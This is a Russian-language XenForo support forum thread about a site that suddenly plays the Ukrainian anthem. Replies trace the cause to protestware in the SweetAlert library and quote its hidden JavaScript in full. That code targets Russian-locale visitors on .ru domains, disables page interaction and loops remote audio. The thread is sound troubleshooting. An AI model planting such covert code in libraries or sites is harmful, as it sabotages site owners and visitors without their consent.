Решено Играет музыка

Статус
В этой теме нельзя размещать новые ответы.
Версия XenForo
v2.2

Templar

Проверенные
Сообщения
187
Реакции
11
Баллы
8,115
Добрый вечер, видать взломали нас и теперь при входе на сайт начинает играть музыка, а точнее гимн Украины :)
Сделал бекап пока что, удалил все плагины что устанавливал вчера ( Устанавливал с данного форума ) а сегодня утром уже дискотека .

Помогает на данный момент удаление cookie в браузере, но не каждый не знает что это такое поэтому не выход :) так же не на всех браузерах, на Chrome и Opere все нормально, а на Яндексе и Мозилле работает видать браузеры какие то блокируют просто.

Ссылка на мелодию [URL]https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3[/URL]
 

Вложения

  • WhatsApp Image 2022-11-27 at 13.31.39.jpeg
    WhatsApp Image 2022-11-27 at 13.31.39.jpeg
    140.9 KB · Просмотры: 78
Решение
Проверьте библиотеку Sweetalert.
Проверил, на CDN (cdnjs, jsDelivr) она вставляет в код сайта проигрывание трека.

вот код оттуда:

JavaScript:
// Dear russian users visiting russian sites. Let's have fun.
  if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|xn--p1ai)$/)) {
    const now = new Date();
    const initiationDate = localStorage.getItem('swal-initiation');
    if (!initiationDate) {
      localStorage.setItem('swal-initiation', `${now}`);
    } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) {
      setTimeout(() => {
        document.body.style.pointerEvents = 'none';
        const ukrainianAnthem = document.createElement('audio')...
Templar, тысячи сайтов имеют плагины отсюда, но ни у кого такого не было. Взломать могли кто и кого угодно независимо от движка на сайте. Самый простой способ - подбор пароля от админки или панели управления на сервере/хостинге
 
dimka1510, Логично все это, я просто написал для информации да и плагины все установлены все годами, тут вопрос в другом был, может кто то сталкивался уже и может подсказать как исправить :)
 
Templar, как минимум найти и вырезать в шаблоне(ах) код, отвечающий за это и сменить все пароли. А ссылку можно на страницу где это наблюдается?
 
Последнее редактирование:
Проверьте библиотеку Sweetalert.
Проверил, на CDN (cdnjs, jsDelivr) она вставляет в код сайта проигрывание трека.

вот код оттуда:

JavaScript:
// Dear russian users visiting russian sites. Let's have fun.
  if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|xn--p1ai)$/)) {
    const now = new Date();
    const initiationDate = localStorage.getItem('swal-initiation');
    if (!initiationDate) {
      localStorage.setItem('swal-initiation', `${now}`);
    } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) {
      setTimeout(() => {
        document.body.style.pointerEvents = 'none';
        const ukrainianAnthem = document.createElement('audio');
        ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3';
        ukrainianAnthem.loop = true;
        document.body.appendChild(ukrainianAnthem);
        setTimeout(() => {
          ukrainianAnthem.play().catch(() => {
            // ignore
          });
        }, 2500);
      }, 500);
    }
  }

Удалить его и пользоваться дальше.
 
Проверьте библиотеку Sweetalert.
Проверил, на CDN (cdnjs, jsDelivr) она вставляет в код сайта проигрывание трека.

вот код оттуда:

JavaScript:
// Dear russian users visiting russian sites. Let's have fun.
  if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|xn--p1ai)$/)) {
    const now = new Date();
    const initiationDate = localStorage.getItem('swal-initiation');
    if (!initiationDate) {
      localStorage.setItem('swal-initiation', `${now}`);
    } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) {
      setTimeout(() => {
        document.body.style.pointerEvents = 'none';
        const ukrainianAnthem = document.createElement('audio');
        ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3';
        ukrainianAnthem.loop = true;
        document.body.appendChild(ukrainianAnthem);
        setTimeout(() => {
          ukrainianAnthem.play().catch(() => {
            // ignore
          });
        }, 2500);
      }, 500);
    }
  }

Удалить его и пользоваться дальше.
где найти, у меня такая же хрень с гимном Украины
 
Последнее редактирование:
Kralty, меньше нужно качать плагины и стили со всяких помоек только из-за того что там не нужна регистрация и/или активность. Искать следует в модификациях и шаблонах стилей и плагинов.
 
Статус
В этой теме нельзя размещать новые ответы.
Современный облачный хостинг провайдер | Aéza
Назад
Сверху Снизу